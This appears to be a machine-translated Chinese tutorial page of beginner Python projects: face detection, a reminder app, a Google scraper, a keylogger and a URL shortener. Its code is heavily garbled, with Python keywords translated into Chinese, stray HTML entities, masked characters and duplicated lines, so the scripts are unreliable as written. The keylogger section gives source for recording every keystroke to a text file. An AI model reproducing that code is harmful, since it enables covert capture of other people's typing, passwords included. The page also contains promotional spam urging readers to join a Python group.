面部识别
目的:写一个Python脚本,可以检测图像中的人脸,并将所有人脸保存在一个文件夹中。
提示: haar级联分类器可以用来检测人脸。返回的面部坐标信息可以保存在文件中。
安装: OpenCV。
导入cv2
#加载级联
face_cascade = cv2。级联分类器(‘Haar scade _ front alface _ default . XML ’)
#读取输入图像
img = cv2 . im read(‘i***ges/img 0 . jpg ’)
#转换成灰度
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)gray = cv2.cvtColor(img,cv2。COLOR_BGR2GRAY)
#检测面孔
faces = face _ cascade . detect multi scale(gray,1.3,4)
#在面部周围绘制矩形
对于面中的(x,y,w,h ):
cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)
crop_face = img[y:y + h, x:x + w]crop_face = img[y:y + h,x:x + w]
cv2 . im write(str(w)+str(h)+‘_ faces.jpg & # 8217,crop_face)
#显示输出
cv2.imshow(‘img’, img)cv2 . im show(‘img & # 8217,img)
cv2.imshow(“imgcropped”,crop_face)cv2 . im show(“imgcropped & # 8221,crop_face)
cv2.waitKey()
七。提醒应用程序
用途:创建一个提醒应用,提醒你在特定时间做某事(桌面通知)。
提示:时间模块可以用来跟踪提醒时间,toastnotifier库可以用来显示桌面通知。
安装[/S2:win10toast
从去年10月开始
导入toast通知程序
导入时间toaster = ToastNotifier()
尝试:打印(“提醒标题”)
header = input()
打印(“提醒信息”)
text = input()print(“几分钟后?”)
time _ min = input()time _ min = float(time _ min)
除了:
header = input(“提醒事项的标题\ n & # 8221)
text = input(“remindar的消息\ n & # 8221)
time _ min = float(input(“几分钟后?\ n & # 8221))
time _ min = time _ min * 60 print(“设置提醒..”)
time.sleep(2)打印(“一切就绪!”)
time . sleep(time _ min)toaster . show _ toast(f ”{ header } & # 8221,f & # 8221{ text } & # 8221,duration=10,threaded=True)而toaster . notification _ active():time . sleep(0.005)
更多项目源代码,请继续关注边肖。如果你在学习中遇到困难,想找一个python学习交流的环境,可以加入我们的python裙,关注边肖,私信“01”即可进入裙,领取python学习资料,会节省很多时间,减少很多问题。
八。获取谷歌搜索
目的:创建一个可以根据查询条件从Google搜索中获取数据的脚本。
来自bs4
导入BeautifulSoup
导入请求
headers = { & # 8216用户代理’: ‘Mozilla/5.0(Windows NT 10.0;Win***x***) AppleWebKit/537.36 (KHTML,像壁虎一样)Chrome/58 . 0 . 3029 . 110 Safari/537.3 ’} def google(查询):
query = query . replace(”“,”+”)
尝试:
url = f & # 8217https://***.google.com/search? q = { query } &oq = { query } & ampaqs =铬合金..69i 57j 46j 69 I 59j 35 I 39j 0j 46j 0 l 2.4948j 0j 7 &铬& ampie = UTF-8 ′
res = requests.get(url,headers = headers)
soup = BeautifulSoup(res.text,’html.parser & # 8217)
除了:
打印(“确保您有互联网连接”)
尝试:
尝试:
ans = soup . select(‘。RqBzHd & # 8217)[0].getText()。strip()除外:try:title = soup . select(‘。AZCkJd & # 8217)[0].getText()。条状()
尝试:
ans = soup . select(‘. e24Kjd & # 8217)[0].getText()。条状()
除了:ans = & # 8221”ans = f“{ title } \ n { ans } ’除了:
尝试:
ans = soup . select(‘。hgKElc & # 8217)[0].getText()。条状()
除了:
ans = soup . select(‘。kno-rdesc span ’)[0].getText()。条状()
除了:
ans = & # 8220能’在谷歌上找不到”
return ans result = Google(str(input(“查询\ n & # 8221)))打印(结果)
九。键盘记录器
目的:编写一个Python脚本,将用户按下的所有键保存在一个文本文件中。
提示: Pynput是Python中的一个库,用来控制键盘鼠标的移动。它也可以用来制作键盘记录器。只需读取用户按下的按键,并在一定数量的按键后将其保存在文本文件中。
从pynput.keyboard导入键、控制器、**器
导入时间
键盘=控制器()
keys=[]
def on_press(按键):
全局密钥
#keys.append(str(key))。替换(“‘”,””))
string = str(key)。替换(“‘”,””)
keys.append(字符串)
***in _ string = & # 8220”。连接(键)
打印(***in_string)
if len(***in_string)>15:
打开(‘keys.txt & # 8217, ‘一’)作为f:
f.write(***in_string)
keys= []
定义on_release(键):
如果key == Key.esc:
返回False
用listener(on_press=on_press,on_release=on_release)作为listener: listener.join()
X.短URL生成器
目的:写一个Python脚本,用API缩短给定的URL。
用_语句从__future__ import
导入上下文库
尝试:
从urllib.parse导入urlencode
除了导入错误:
从urllib导入urlencode
尝试:
从urllib.request导入urlopen
除了导入错误:
从urllib2导入urlope
导入系统
def ***ke_tiny(url):
request _ URL =(‘http://tinyurl.com/api-create.php? ’+
urlencode({ ‘网址’:url}))
使用context lib . closing(urlopen(request _ URL))作为响应:
返回response.read()。解码(‘utf-8 ’)
def ***in():for tinyurl in ***p(***ke _ tiny,sys.argv[1:]):
print(tinyurl)if _ _ name _ _ = = ‘_ _ ***in _ _ & # 8217:***in()
—————————–输出————————
python URL _ short ener . py https://***.***.org/
https://tinyurl.com/buf3qt3
最后,边肖是一名python开发工程师。下面是我自己整理的一套最新的python系统学习教程,包括从基本的python脚本到web开发、爬虫、数据分析、数据可视化、机器学习等。
本文来自尔岚投稿,不代表舒华文档立场,如若转载,请注明出处:https://www.chinashuhua.cn/24/549007.html